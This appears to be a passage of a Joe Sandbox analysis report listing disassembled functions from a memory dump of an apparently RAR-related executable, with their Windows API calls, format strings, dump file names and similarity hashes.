GetProcAddress.KERNEL32(?,?,?,?,?,00007FF6BBCB68EB), ref: 00007FF6BBCB71E0

Strings

kernel32.dll, xrefs: 00007FF6BBCB71C4
CompareStringOrdinal, xrefs: 00007FF6BBCB71D6

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AddressCompareHandleModuleOrdinalProcStringVersion
String ID: CompareStringOrdinal$kernel32.dll
API String ID: 2522007465-2120454788
Opcode ID: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction ID: 0a17159d07235791297ee3961e8b4a8c71436c75a9a6df0b117d732f5ae5adaa
Opcode Fuzzy Hash: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction Fuzzy Hash: 5621A121A0C68AC5EB24DF19E94817D72A0BF49B80F640636EF5DC76B5EF2CE5458300

Function 00007FF6BBCFBE3C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCFBC8C: FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6BBCFBCEF
Part of subcall function 00007FF6BBCFBC8C: FileTimeToSystemTime.KERNEL32 ref: 00007FF6BBCFBD68

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCFBEAE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCFBED8

Strings

%u-%02u-%02u %02u:%02u, xrefs: 00007FF6BBCFBEB8
????-??-?? ??:??, xrefs: 00007FF6BBCFBEDF
%u-%02u-%02u %02u:%02u:%02u,%09u, xrefs: 00007FF6BBCFBE80

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Time$File$swprintf$LocalSystem
String ID: %u-%02u-%02u %02u:%02u$%u-%02u-%02u %02u:%02u:%02u,%09u$????-??-?? ??:??
API String ID: 1364621626-1794493780
Opcode ID: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction ID: b68bf694828cd215b8d1f7f86a8cc411ab4dfcdfffb7e09d29e18466f897a05a
Opcode Fuzzy Hash: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction Fuzzy Hash: 3D21D076A186418AE760CF68E484A9D77F0F74C798F144136EF8893B58DF38E9458F10

Function 00007FF6BBD124D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6BBD124F4
GetProcAddress.KERNEL32 ref: 00007FF6BBD1250A
FreeLibrary.KERNEL32 ref: 00007FF6BBD1252F

Strings

CorExitProcess, xrefs: 00007FF6BBD12503
mscoree.dll, xrefs: 00007FF6BBD124EB

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction ID: ae23ed1b4be9d1b58c92dd822e68eebf1761b54f55a85681d0ba731d5482e309
Opcode Fuzzy Hash: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction Fuzzy Hash: AAF04921B19A8281EE4D8F19F4902792760BF8CB84F482639EB4FC6674DE3CD4848700

Function 00007FF6BBD1C654 Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction ID: 71c865f4d6fbcbc897415a1c038e6de6f15d4138a1c76557ca75fda6a37377ba
Opcode Fuzzy Hash: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction Fuzzy Hash: B6A10662B087A246EB698F6A90403B96691BF48BA4F8C4735DB5D8B7E5DFBCD444C300

Function 00007FF6BBD17AB4 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD17AF9

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction ID: 7ae55618524fff980c028e33e7e038144e9e6d63866c34ce5e38e8749d8a6b50
Opcode Fuzzy Hash: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction Fuzzy Hash: 8981AEA6A1966285F7289B6D94806BD26A1BB4CB88F484335DF0E937B1DF3CA442C714

Function 00007FF6BBD17428 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF6BBD17C5B), ref: 00007FF6BBD17485
WideCharToMultiByte.KERNEL32 ref: 00007FF6BBD17561
WriteFile.KERNEL32 ref: 00007FF6BBD17587
WriteFile.KERNEL32 ref: 00007FF6BBD175C6
GetLastError.KERNEL32 ref: 00007FF6BBD175FE

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction ID: 9114f51e69e961a3e0cd5102445f3bc352ab4e4f3d58634d1641aa264f4974a3
Opcode Fuzzy Hash: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction Fuzzy Hash: 1851AE72A14A618AE715CF69D4843AC3BB0BB49B98F188235DF5A87AB9DF3CD541C700

Function 00007FF6BBCC80C0 Relevance: 7.6, APIs: 5, Instructions: 118fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6BBCC814D
CharToOemA.USER32 ref: 00007FF6BBCC81D8
WriteFile.KERNEL32 ref: 00007FF6BBCC81FB
GetStdHandle.KERNEL32 ref: 00007FF6BBCC8242
WriteConsoleW.KERNEL32 ref: 00007FF6BBCC8266

Part of subcall function 00007FF6BBCFD840: WideCharToMultiByte.KERNEL32 ref: 00007FF6BBCFD871

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CharHandleWrite$ByteConsoleFileMultiWide
String ID:
API String ID: 643171463-0
Opcode ID: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction ID: 0ea706678e0c2b51c9bdbc44791265b9590ff4db2501b5e6af5852d5e8c10937
Opcode Fuzzy Hash: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction Fuzzy Hash: 9841F861E08A4252F928DB28E8042BA62A0BF5D7A0F441335EF6D977F6CF3CE545C780

Function 00007FF6BBD169B4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6BBD16AD6

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction ID: 933d7e2cdb9d48f7175ff1d03a9ef6977e29a34a5c4558c990ec92361d374989
Opcode Fuzzy Hash: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction Fuzzy Hash: 9E41F361B0EA5295FA299F4AA8046B56291BF0CBD0F0E8735DF5DCB7A4EE3CE4408344

Function 00007FF6BBD1DC20 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6BBD1DC47
_set_statfp.LIBCMT ref: 00007FF6BBD1DC62
_set_statfp.LIBCMT ref: 00007FF6BBD1DC7E
_set_statfp.LIBCMT ref: 00007FF6BBD1DCBA

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction ID: 9c132ca5f20de5f5f33801b1c11689febc62860155109a2a091ece7c88b58498
Opcode Fuzzy Hash: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction Fuzzy Hash: 4611547AE18A2306F65C212DF48637A11437F9D360F1C4B38EB6EC66F6DFACA4404201

Function 00007FF6BBCC7514 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCFCD7C: MessageBeep.USER32(?,?,?,?,00007FF6BBCCCA56,?,?,?,00007FF6BBCFB9B7), ref: 00007FF6BBCFCD9E

wcschr.LIBVCRUNTIME ref: 00007FF6BBCC7597
wcschr.LIBVCRUNTIME ref: 00007FF6BBCC768D

Strings

[%c]%ls, xrefs: 00007FF6BBCC7743
(, xrefs: 00007FF6BBCC7754

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: wcschr$BeepMessage
String ID: ($[%c]%ls
API String ID: 1408639281-228076469
Opcode ID: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction ID: b98109206662da3e30741508137960e2537004297d074cc061220da40dcf8269
Opcode Fuzzy Hash: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction Fuzzy Hash: 5181C522A08A8186EB64CF19E4442BA67B5FB9CB88F540136EF4E97779DF3CE541C740

Function 00007FF6BBCD6FE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCD7176
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCD7221

Strings

%c%c%c%c%c%c%c, xrefs: 00007FF6BBCD71E3
%c%c%c%c%c%c%c%c%c, xrefs: 00007FF6BBCD716F

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: swprintf
String ID: %c%c%c%c%c%c%c$%c%c%c%c%c%c%c%c%c
API String ID: 233258989-622958660
Opcode ID: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction ID: d909fecc7851ffad67156ebedf033f028d2ddc17d31c9551f6d41b7d02da30df
Opcode Fuzzy Hash: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction Fuzzy Hash: 27515DF3F785448AE3548F1CF841BA96660F368B91F545A25F65AD3B94CB3DDA048700

Function 00007FF6BBCC6E84 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6BBCC6EC8
wcschr.LIBVCRUNTIME ref: 00007FF6BBCC6F16

Strings

MCAOmcao, xrefs: 00007FF6BBCC6F0F
MCAOmcao, xrefs: 00007FF6BBCC6EC1

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: wcschr
String ID: MCAOmcao$MCAOmcao
API String ID: 1497570035-1725859250
Opcode ID: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction ID: 660faceb1a673d184fc58643e95e2965d0a385903c3c99a8ac5d85b25efe3be6
Opcode Fuzzy Hash: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction Fuzzy Hash: D841C512E0C58380F660DB2882596BE5671BF3CB84F684076DB4DC62F6EF3DE45583A1

Function 00007FF6BBCD3528 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6BBCD359E
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCD35E6

Part of subcall function 00007FF6BBCD30C8: GetFileAttributesW.KERNELBASE(00000800,00007FF6BBCD305D,?,?,?,?,?,?,?,?,00007FF6BBCE4126,?,?,?,?,00000800), ref: 00007FF6BBCD30F0
Part of subcall function 00007FF6BBCD30C8: GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6BBCE4126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF6BBCD3119

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCD3651

Strings

%u.%03u, xrefs: 00007FF6BBCD35A7, 00007FF6BBCD3630

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AttributesFileswprintf$CurrentProcess
String ID: %u.%03u
API String ID: 2814246642-1114938957
